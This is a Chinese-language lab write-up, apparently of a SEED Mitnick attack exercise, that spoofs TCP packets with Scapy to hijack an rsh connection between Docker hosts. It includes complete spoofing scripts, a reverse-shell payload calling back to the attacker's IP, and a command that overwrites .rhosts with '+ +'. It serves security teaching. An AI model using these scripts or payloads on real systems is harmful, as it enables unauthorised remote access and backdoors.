TCP/IP 协议中的数据单元头部都是明文透明的,因此攻击者往往可以根据猜测得到的顺序号伪造 TCP 报文,从而达到与被攻击服务器建立连接的目的。
本次实验需要开启在同一 LAN 下的docker 容器内的三个主机,分别为 Seed-Attacker(攻击者,IP 为 10.9.0.1
) 、X-Terminal(被攻击服务器,IP 为 10.9.0.5
)和 Trusted-Server(可以免密登录服务器的用户,IP 为 10.9.0.6
)
$ dcbuild
$ dcup
执行 dockps
得到各个主机的 docker ID,通过 docksh [docker ID]
开启某个主机的终端:
观察 10.9.0.1
的网络信息,由于特殊配置,可以在虚拟机的 WireShark 中直接捕获网络中的所有包:
为了达到免密登录的效果,需要在 10.9.0.5
中配置 rsh 协议的登录信息,将 10.9.0.6
加入配置文件:
# 10.9.0.5
$ su seed
$ cd
$ touch .rhosts
$ echo 10.9.0.6 > .rhosts
$ chmod 644 .rhosts
可以看到,配置前后从 client 中观察到的结果不同:
并且从 WireShark 中可以观察到两次 TCP 连接,后续实验中需要实现这个过程:
实验目的:模拟 SYN Flooding
实验步骤:为了简化实验,这里我们直接关闭 Trusted-Server,但在关闭之前需要保证 server 中有client 的 arp 缓存,否则之后攻击模拟 client 发包时,server 并不知道 client 的 MAC 地址,arp 也无响应。
① 首先在 clinet 中 ping 10.9.0.5
,之后在 server 中将 client 的 arp 缓存持久化。为了实验效果好,我们可以让 server 同时缓存 attacker 的 MAC 地址(这个操作需要在 server 的 root 权限下进行):
# 10.9.0.6
$ ping 10.9.0.5
# 10.9.0.1
$ ping 10.9.0.5
② 关闭 client 的 docker,模拟被 SYN Flooding 攻击后的效果:
$ docker stop f4
实验目的:伪造 client 的 TCP 包与 server 建立 TCP 连接,并且使其执行 reverse shell 指令
实验步骤:需要建立两个 TCP 连接,其中第一个 TCP 连接需要攻击者首先发出请求,第二个 TCP 连接则是由 server 发出、需要攻击者发送 SYN ACK 包回复的连接。
① 首先假冒 client 向 server 发送 SYN 包,请求建立连接,其中源 IP 地址为 client 的地址 10.9.0.6
:
# step1.py
from scapy.all import *
tcp = TCP(sport=1023, dport=514)
tcp.flags = "S"
ip = IP(src="10.9.0.6", dst="10.9.0.5")
p = ip / tcp
if tcp.flags == "S":
send(p)
② 接着,server 会发送 SYN ACK 包,当 sniff 到这个包时,我们需要基于 SYN ACK 包的顺序号、冒充 client 发送 ACK 包,以建立第一个 TCP 连接:
# step2.py
from scapy.all import *
def spoof(pkt):
if pkt[TCP].flags == "SA" and pkt[IP].src == "10.9.0.5":
old_ip = pkt[IP]
old_tcp = pkt[TCP]
tcp_len = old_ip.len - old_ip.ihl * 4 - old_tcp.dataofs * 4
print("{}:{} -> {}:{} Flags={} Len={}".format(old_ip.src, old_tcp.sport, old_ip.dst, old_tcp.dport, old_tcp.flags, tcp_len))
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=1023, dport=514)
tcp.flags = "A"
tcp.seq = pkt[TCP].ack
tcp.ack = pkt[TCP].seq + 1
data="9090\x00seed\x00seed\x00/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\x00"
p = ip / tcp / data
send(p, verbose=0)
myFilter = 'tcp' # You need to make the filter more specific
sniff(iface='br-c53b33f456fd', filter=myFilter, prn=spoof)
其中 reverse shell 的指令是 /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\x00
,所以还需要在 attacker 上监听 9090 端口:
③ 之后,我们会 sniff 到 server 的 SYN 包,请求建立第二个 TCP 连接。我们要根据此 SYN 包的顺序号和源端口,伪造 client 的 SYN ACK 包以建立第二个连接,这样 server 才会执行 reverse shell 的指令;其中我们的初始顺序号可以取 32 位无符号整数的任意值,这里直接使用了对面的顺序号:
from scapy.all import *
def spoof(pkt):
if pkt[TCP].flags == "S" and pkt[IP].src == "10.9.0.5":
old_ip = pkt[IP]
old_tcp = pkt[TCP]
tcp_len = old_ip.len - old_ip.ihl * 4 - old_tcp.dataofs * 4
print("{}:{} -> {}:{} Flags={} Len={}".format(old_ip.src, old_tcp.sport, old_ip.dst, old_tcp.dport, old_tcp.flags, tcp_len))
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=9090, dport=pkt[TCP].sport)
tcp.flags = "SA"
tcp.seq = pkt[TCP].seq
tcp.ack = pkt[TCP].seq + 1
p = ip / tcp
send(p, verbose=0)
myFilter = 'tcp' # You need to make the filter more specific
sniff(iface='br-c53b33f456fd', filter=myFilter, prn=spoof)
④ 至此,我们成功建立了两个 TCP 连接:
也能在 attacker 的主机(10.9.0.1
)上观察到 reverse shell:
④ 在操作过程中,我们可以先运行两个 sniff 的程序,再运行向 server 发送第一个 SYN 包的程序来触发整个过程。这样 server 发出的任何包都会被及时嗅探到,防止出现来不及发送回复的包而导致 server 多次重传、超时的情况,而在没有嗅探到 server 发送的包时不会有其他动作:
$ sudo python3 step2.py
$ sudo python3 step3.py
$ sudo python3 step1.py
实验目的:将配置文件 .rhosts
的值改为 + +
,实现所有主机的免密登录
实验步骤:
① 将 Task2 step2.py
中的指令改为:
# step2.py
data="9090\x00seed\x00seed\x00echo + + > ~/.rhosts\x00"
重复上述攻击
② 可以观察到不需要密码就可以登录 seed 用户:
这里需要指定登录的用户名 seed
,否则会默认登录与当前用户名相同的账户(此时为 root
);也可以在 attacker 的主机中先切换到 seed 用户,再直接登录 server,就不需要指定用户名了:
观察到 .rhosts
的内容确实被改成了 + +
: